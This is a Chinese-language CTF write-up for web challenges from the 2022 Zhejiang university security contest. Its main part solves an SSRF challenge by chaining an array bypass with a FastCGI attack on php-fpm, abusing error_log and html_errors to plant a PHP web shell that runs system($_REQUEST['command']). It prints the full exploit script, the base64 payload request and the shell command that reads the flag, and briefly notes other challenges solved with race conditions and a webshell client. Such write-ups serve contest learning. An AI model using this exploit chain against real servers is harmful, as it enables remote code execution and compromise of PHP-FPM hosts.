浙江省赛初赛Web WriteUp


2022年浙江省大学生网络与信息安全竞赛初赛web WriteUp

来划水了

baby_ssssrf

老考点的绕过

看题

访问页面拿源码

<?php
highlight_file(__FILE__);
if(isset($_GET['data'])&&isset($_GET['host'])&&isset($_GET['port'])){
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto|extension|dir/i', $data)){
    die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
  die();
}
else{
    fwrite($fp, $data);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
}?>
<!-- flag.php --> 

访问flag.php要求本地访问

这里可以用fsockopen函数打开一个网络连接或者一个Unix套接字连接,这里直接连本地80端口

这里有个小坑是默认浏览器是 Accept-Encoding: gzip, deflate,可能返回乱码,这里直接改掉gzip就行

GET /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: deflate
Connection: close
Upgrade-Insecure-Requests: 1

base64编码发过去后拿到flag.php

<?php
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
    highlight_file(__FILE__);
    $contents = isset($_POST['data'])?$_POST['data']:'';
    if(!preg_match('/lastsward/i', $contents)){
        file_put_contents('hint.txt', $contents);
    }
    if(file_get_contents('hint.txt')==='lastsward'){
        phpinfo();
    }
    die();
}
die('请从本地访问')

分析

这里flag.php可以用数组绕过(传入错误的参数后,函数报错,返回值为false

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: deflate
Connection: close
Cookie: td_cookie=3345944520
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

data[]=lastsward

拿到phpinfo,直接看没找到什么有用的信息

剩下思路不多,ssrf打php-fpm的fastcgi是其中一种

fastcgi没有详细配置,那默认是127.0.0.1:9000

再找找

fastcgi具体知识见链接

https://xz.aliyun.com/t/9544

这道题直接手动打fastcgi就行,但是index.php有对数据有过滤

if(preg_match('/usr|auto|extension|dir/i', $data)){
    die('error');
} 

常见脚本打fastcgi模式都是基于auto_prepend_file ,extension等,这里就是找到一条新路径就行

需要在php Runtime Configuration中找到一个要么可以执行代码,或者包含文件,或者写文件的配置

这里经过筛选,我看到了error_log这个配置

触发报错并且把报错信息写入某一个文件,经过本地调试发现,fsockopen函数报错会显示错误的host和port,例如

[17-Sep-2022 15:45:34 Asia/Chongqing] PHP Warning:  fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/html/index.php on line 10
[17-Sep-2022 15:45:34 Asia/Chongqing] PHP Warning:  fsockopen(): unable to connect to <?php system($_REQUEST["command"]);?>:9000 (php_network_getaddresses: getaddrinfo failed: Name or service not known) in /var/www/html/index.php on line 10

这里发现报错信息被实体编码,一般这种日志输出格式是有地方可以控制的,继续找

在php.ini中发现了这个选项

; When PHP displays or logs an error, it has the capability of formatting the
; error message as HTML for easier reading. This directive controls whether
; the error message is formatted as HTML or not.
; Note: This directive is hardcoded to Off for the CLI SAPI
; Default Value: On
; Development Value: On
; Production value: On
; http://php.net/html-errors
html_errors=On

html_errors能配置输出的日志是否为html实体编码,默认值为On,改成Off即可

写到txt中效果如下

[17-Sep-2022 15:52:59 Asia/Chongqing] PHP Warning:  fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/html/index.php on line 10
[17-Sep-2022 15:52:59 Asia/Chongqing] PHP Warning:  fsockopen(): unable to connect to <?php system($_REQUEST["command"]);?>:9000 (php_network_getaddresses: getaddrinfo failed: Name or service not known) in /var/www/html/index.php on line 10

那么整条路就通了(可能有其他解法)

解题

写好exp,生成base64字符串,打一遍

GET /?data=AQEAAQAIAAAAAQAAAAAAAAEEAAECvAAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPF1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwCwpTQ1JJUFRfTkFNRS9pbmRleC5waHAMVVFVRVJZX1NUUklOR2NvbW1hbmQ9d2hvYW1pJmRhdGE9d2hvYW1pJmhvc3Q9PCUzZnBocCtzeXN0ZW0oJF9SRVFVRVNUWyJjb21tYW5kIl0pJTNiJTNmPiZwb3J0PTkwMDALUVJFUVVFU1RfVVJJL2luZGV4LnBocD9kYXRhPXdob2FtaSZob3N0PTwlM2ZwaHArc3lzdGVtKCRfUkVRVUVTVFsiY29tbWFuZCJdKSUzYiUzZj4mcG9ydD05MDAwDApET0NVTUVOVF9VUkkvaW5kZXgucGhwDzRQSFBfQURNSU5fVkFMVUVodG1sX2Vycm9ycyA9IE9mZgplcnJvcl9sb2cgPSAvdmFyL3d3dy9odG1sLzMzMzMucGhwCTRQSFBfVkFMVUVodG1sX2Vycm9ycyA9IE9mZgplcnJvcl9sb2cgPSAvdmFyL3d3dy9odG1sLzMzMzMucGhwDw1TRVJWRVJfU09GVFdBUkU4MHNlYy93b2ZlaXdvCwlSRU1PVEVfQUREUjEyNy4wLjAuMQsEUkVNT1RFX1BPUlQ5MDAwCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsCU0VSVkVSX1BPUlQ4MAsJU0VSVkVSX05BTUVsb2NhbGhvc3QPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDgJDT05URU5UX0xFTkdUSDI3CQlIVFRQX0hPU1QxMjcuMC4wLjEMIUNPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAEEAAEAAAAAAQUAAQAbAABkYXRhW109bGFzdHN3YXJkJmJiYj0xMjMxMjMBBQABAAAAAA==&host=127.0.0.1&port=9000 HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

拿flag

http://xxxx/3333.php?command=cat+/flag.txt

EXP

php脚本基于原作者脚本修改

https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */

/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1 = 1;
    const BEGIN_REQUEST = 1;
    const ABORT_REQUEST = 2;
    const END_REQUEST = 3;
    const PARAMS = 4;
    const STDIN = 5;
    const STDOUT = 6;
    const STDERR = 7;
    const DATA = 8;
    const GET_VALUES = 9;
    const GET_VALUES_RESULT = 10;
    const UNKNOWN_TYPE = 11;
    const MAXTYPE = self::UNKNOWN_TYPE;
    const RESPONDER = 1;
    const AUTHORIZER = 2;
    const FILTER = 3;
    const REQUEST_COMPLETE = 0;
    const CANT_MPX_CONN = 1;
    const OVERLOADED = 2;
    const UNKNOWN_ROLE = 3;
    const MAX_CONNS = 'MAX_CONNS';
    const MAX_REQS = 'MAX_REQS';
    const MPXS_CONNS = 'MPXS_CONNS';
    const HEADER_LEN = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len = $resp['contentLength'];
                while ($len && $buf = fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf = fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version'] = ord($data{0});
        $ret['type'] = ord($data{1});
        $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved'] = ord($data{7});
        return $ret;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }

    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo(base64_encode($request));
    }
}

?>
<?php
$filepath = "/var/www/html/index.php";
//$filepath = "/var/www/html/flag.php";
$req = '/' . basename($filepath);
$uri = $req . '?' . 'data=whoami&host=<%3fphp+system($_REQUEST["command"])%3b%3f>&port=9000';
$client = new FCGIClient("1111", 0);
$code = "data[]=lastsward"; 
$php_value = "html_errors = Off\nerror_log = /var/www/html/3333.php";
//$php_value = "html_errors = Off";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SCRIPT_FILENAME' => $filepath,
    'SCRIPT_NAME' => $req,
    'QUERY_STRING' => 'data=whoami&host=<%3fphp+system($_REQUEST["command"])%3b%3f>&port=9000',
    'REQUEST_URI' => $uri,
    'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_ADMIN_VALUE' => $php_value,
    'PHP_VALUE' => $php_value,
    'SERVER_SOFTWARE' => '80sec/wofeiwo',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '9000',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'localhost',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_LENGTH' => strlen($code),
    'HTTP_HOST' => '127.0.0.1',
    'CONTENT_TYPE' => "application/x-www-form-urlencoded",
);
echo $client->request($params, $code) . "\n";
?>

亿些细节

环境变量中有许多细节,网上的脚本需要修改部分

题目要求请求host为127.0.0.1localhost,这里需要在环境变量中加上HTTP_HOST

为了调试方便(查看是否成功),需要看flag.php的phpinfo,需要post传data值,要在环境变量中加上CONTENT_TYPE,否则$_POST为空

QUERY_STRINGREQUEST_URI中需要url编码

其他题

有手就行

nisc_easyweb

robots.txt

/api/record

/test_api.php

/test_api.php?i=FlagInHere

nisc_学校门户网站

  1. 注册账号
  2. 登录
  3. 看到flag

吃豆人吃豆魂

控制台 _SCORE=10000000

买买买01

  1. 目录穿越读源码
  2. 条件竞争写文件
  3. 条件竞争触发php
  4. 拿flag,(记不清了,这里好像有路径限制),用蚁剑打开webshell就能拿flag了

文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录